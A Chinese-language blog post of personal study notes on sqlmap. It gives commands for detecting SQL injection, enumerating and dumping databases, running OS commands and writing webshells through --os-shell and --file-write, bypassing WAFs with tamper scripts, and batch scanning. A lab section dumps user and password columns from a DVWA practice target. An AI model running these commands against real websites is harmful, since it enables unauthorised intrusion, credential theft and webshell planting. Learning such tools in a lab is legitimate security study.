SQLMAP使用笔记

 SQLMAP 使用笔记
        --by Anton
0-请求注入检测
    sqlmap可以使用基于布尔(bool)、时间(time)、语句是否执行

(页面返回时间是否增加)、报错(error)、联合查询(union)、堆查询(同时执行多条语句)
    get方式 sqlmap.py -u "URL"
    post方式 sqlmap.py -u "URL" --data "post数据"
    cookie方式 sqlmap.py -u "URL" --cookie "cookie数据"

1-获取数据库信息
    获取数据库类型及版本
    获取数据库库名和用户名   
            sqlmap.py -u "URL" --current-db/--current-user

2-获取数据量和用户权限
    数据量 sqlmap.py -u "URL" --count -D "DB_name"
    判断用户权限 sqlmap.py -u "URL" --privileges
      Microsoft SQL Server 最高权限:sa
      Mysql :root

3-Mysql数据库注入
    mysql数据库结构
    mysql注入    库名    sqlmap.py -u "URL" --current-db
                表名    sqlmap.py -u "URL" --tables -D "DB_name"
                列名    sqlmap.py -u "URL" --columns -T "Tables_name" -D "DB_name"
                字段    sqlmap.py -u "URL" --dump -C "Columns_name" -T "Tables_name" -D "DB_name"
                    sqlmap常用选项:
                    ​ --second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
                        sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
                    ​ --tables -D “数据库” 列举数据库的表名
                    ​ --columns -T “表名” -D “数据库” 获取表的列名
                    ​ --dump -C “字段,字段” -T “表名” -D “数据库” 获取表中的数据,包含列
    新的数据库注入
        MongoDB、NoSQL--sqlmap不支持这两款的注入,Nosqlmap使用
                https://github.com/tcstool/nosqlmap
                
4-管理数据库
    连接数据库    sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库"
        --报错需安装pymysql        https://github.com/PyMySQL/PyMySQL
            安装步骤:解压->cmd切换目录->setup.py install
    连接上使用参数:--sql-shell 进行sql执行管理
        sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库" --sql-shell
            @@cersion--查看数据库版本

5-延时注入
    使用情况
        页面无变化、无法使用布尔真假判断、无法报错--作为最精准的注入缺点:耗时长
    如何使用
        --delay 数值(延时秒数) sqlmap.py -u "URL" --delay 1
        --safe-freq        sqlmap.py -u "URL" --safe-freq
        
6-交互式命令执行和写webshell
    初识交互式
        注入点用户权限必须为最高权限
    sqlmap进行命令执行(提权)
        sqlmap.py -u "URL" --os-cmd="命令"
        在使用参数交互时要知道网站的绝对路径-盘符开始
        执行后0-选择网站语言1
        -何种方法寻找网站绝对路径
        执行命令后在网站绝对路径下创建了文件,命令执行后自动删除
    sqlmap写webshell and 提权
        sqlmap.py -u "URL" --os-shell
        执行后0-选择网站语言1-何种方法寻找网站绝对路径
        --关闭sqlmap自动删除

7-Tamper脚本的介绍和使用
    Whate is Tamper?
        sqlmap下的tamper目录,高级sql注入测试,如绕过waf(web应用防火墙)
    Tamper脚本的使用
        --tamper="脚本名字"
        sqlmap.py -u "URL" --tamper="脚本名字"
        sqlmap.py -u "url" --current-db  --dbms=mysql(是access就输access) --tamper “脚本名称(比如1.py)”
    Tamper脚本的总结
        
8-本地写入webshell
    what is 本地写入/如何写入?
        zaisqlmap目录下新建一个目录mst,在该目录下创建需上传的文件
        --file-write "./mst/mst.txt"
            本地文件的地址/路径
        --file-dest "d:/www/1.html"
            目标文件的地址/路径
        sqlmap.py -u "URL" --file-write "./mst/mst.txt" --file-dest "d:/www/1.html"
    
9-批量检测注入漏洞
    what is 批量?
        批量检测sql注入
    如何批量
        -m
        sqlmap.py -m 路径
    结合burpsuite
        对post、cookie、http header等检测
        burpsuite记录所有request记录,并保存在指定文件夹
        sqlmap.py -l c:/burp.log --batch -smart
            即可对burp.log中保存的所有request进行注入扫描
            Batch:自动选择yes
            Smart:启发式快速判断,节约时间
                --level=(1-5) #要执行的测试水平等级,默认为1
                    sqlmap使用的payload可以在xml/payloads/中看到,参数数值影响测试的注

     入点,http cookie在level为2时候会测试,http user——agent/referer头在level为3会测试
                    为保证全面性,level最好设置最高
                --risk=(0-3) #测试执行的风险等级,默认为1
                    默认的1会测试大部分测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试
                    #有时候,例如在Update的语句中,注入一个or的测试语句,可能会导致更新整个表,风险很大
                    #测试语句可xml/payloads/中找到,也可自行添加

10-Sqlmap注入
    SQLMAP目录结构
        doc/ --->>>该文件夹包含了SQLmap的具体使用说明,例如多种语言的简要说明、PDF版的详细说明、FAQ、作者信息等。
        extra/ -->> >这里包含了SQLmap的多种额外功能,例如发出声响( beep).运行cmd.安全执行、shellcode等。
        lib/ -->>>这里包含了SQLmap的多种连接库,如五种注入类型请求的参数、提权操作等。
        plugins/ -->> >这里包含了各种数据库的信息和数据库通用事项。
        procs/ -->>>这里包含了mssqlserver、mysql. Oracle和postgresql的触发程序
        shell/ -->>>这里包含了多种注入成功后的多种sheli远程连接命令执行和管理数据库
        tamper/ -->>>这里包含了绕过脚本,例如编码绕过、注释绕过等。
        thirdparty/ -->>>这里包含了一些其他第三方的插件,例如优化、保持连接、颜色等。
        txt/ -->>>这里包含了一些字典,例如用户浏览器代理、表、列、关键词等。
        udf/ -->>>这里包含了用户自己定义的攻击载荷。
        waf/ -->>>>这里包含了一一些多种常见的防火墙特征。可以直接使用--identify-waf来进行检测。
        xml/ -->>>这里包含了多种数据库的注入检测载荷、旗标信息以及其他信息。在这里可以看到进行注入的。
    学习SQLMAP注入
        #xml目录下payloads-载荷文件
        #-v数字
            -v有7个等级,默认为1:
                0:只显示python错误以及严重的信息
                1:同时显示信息和警告信息(默认)
                2:同时显示debug的信息
                3:同时显示注入的payload
                4:同时显示HTTP请求
                5:同时显示HTTP响应头
                6:同时显示HTTP响应页面
            sqlmap.py -u "URL" --dba -v 3
        #结合burpsuite
            --proxy=http://ip:port  这里的代理服务器就是burpsuite相对监听的
                sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
11-实验实训
        特殊页面sql注入
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D “dvwa” --tables 进行查询dvwa数据库的表名
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T “users” -D “dvwa”进行查询user表中的列
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C “user,password” -T “users” -D “dvwa” 进行“脱裤”
        sql盲注漏洞
            
        RM-Anton原创,转载请注明。

posted @ 2018-05-28 17:12  RM-Anton  阅读(408)  评论(0编辑  收藏  举报